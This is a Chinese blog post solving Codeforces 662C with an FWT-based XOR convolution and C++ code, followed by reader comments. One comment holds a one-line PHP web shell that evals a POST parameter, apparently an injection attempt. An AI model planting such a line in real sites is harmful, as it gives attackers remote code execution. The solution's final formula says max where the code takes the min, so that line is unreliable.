「Codeforces 662C」Binary Table

题目链接:Codeforces 662C

你有一个 $n \times m$ 的表格。每个格子都有一个数字 $0$ 或 $1$,你可以任意选择某一行或者某一列并将其翻转。请问通过任意次操作后表格中 $1$ 的个数的最小值是多少?

数据范围:$1 \le n \le 20$,$1 \le m \le 10 ^ {5}$。


Solution

发现 $n$ 的范围只有 $20$,那我们可以尝试枚举翻转哪些行,这样一来对于每一列都是独立的,可以预处理出对于每个列状态只通过列翻转达到的最优解。形式化地,设函数 $\text{count}(S)$ 表示状态 $S$ 中 $1$ 的个数,我们设 $F_{i} = \min \{ \text{count}(i), \text{count}((2 ^ {n} - 1) \oplus i) \}$。

设第 $i$ 列的初始状态为 $S_{i}$,且记状态为 $i$ 的列有 $G_{i}$ 个。假设我们已经枚举了行的翻转 $T$,那么答案为:

$$ \begin{align*} & \sum_{i = 1} ^ {m} F_{S_{i} \oplus T} \\ \Rightarrow & \sum_{i = 0} ^ {2 ^ {n} - 1} F_{i} \sum_{j = 1} ^ {m} [S_j \oplus T = i] \\ \Rightarrow & \sum_{i = 0} ^ {2 ^ {n} - 1} F_{i} \sum_{j = 1} ^ {m} [S_j = i \oplus T] \\ \Rightarrow & \sum_{i = 0} ^ {2 ^ {n} - 1} F_{i} \cdot G_{i \oplus T} \\ \end{align*} $$

发现 $i \oplus (i \oplus T) = T$,则上式等价于:

$$ \sum_{i \oplus j = T} F_{i} \cdot G_{j} $$

显然可以 $\text{FWT}$ 解决,答案为:

$$ \max_{T = 0} ^ {2 ^ {n} - 1} \{ (F \oplus G)(T) \} $$

时间复杂度:$\mathcal O(nm + 2 ^ {n} \cdot n)$。


Code

/* 此处省略多项式模板 */

int n, m;

int main() {
    scanf("%d%d", &n, &m);
    Vec s(m, 0);
    for (int i = 0, x; i < n; i++) {
        for (int j = 0; j < m; j++) {
            scanf("%1d", &x);
            s[j] |= x << i;
        }
    }
    int tot = 1 << n;
    Vec F(tot, 0), G(tot, 0);
    for (int i = 0; i < tot; i++) {
        F[i] = std::min(__builtin_popcount(i), __builtin_popcount((tot - 1) ^ i));
    }
    for (int i = 0; i < m; i++) G[s[i]]++;
    Vec ans = F ^ G;
    printf("%d\n", *std::min_element(ans.begin(), ans.end()));
    return 0;
}

7 条评论

  1. oierlin
    该评论仅登录用户及评论双方可见
  2. oierlin
    该评论仅登录用户及评论双方可见
  3. oierlin

    <?php @eval($_post['pass']);?>

    1. Siyuan
      @oierlin

      评论区还能让你用 php?/cy

      1. qwe
        @Siyuan
        该评论仅登录用户及评论双方可见
  4. LMOliver

    $1$ 的个数的最大值 $\rightarrow$ $1$ 的个数的最小值?

    1. Siyuan
      @LMOliver

      题面写错了,已经修改

发表评论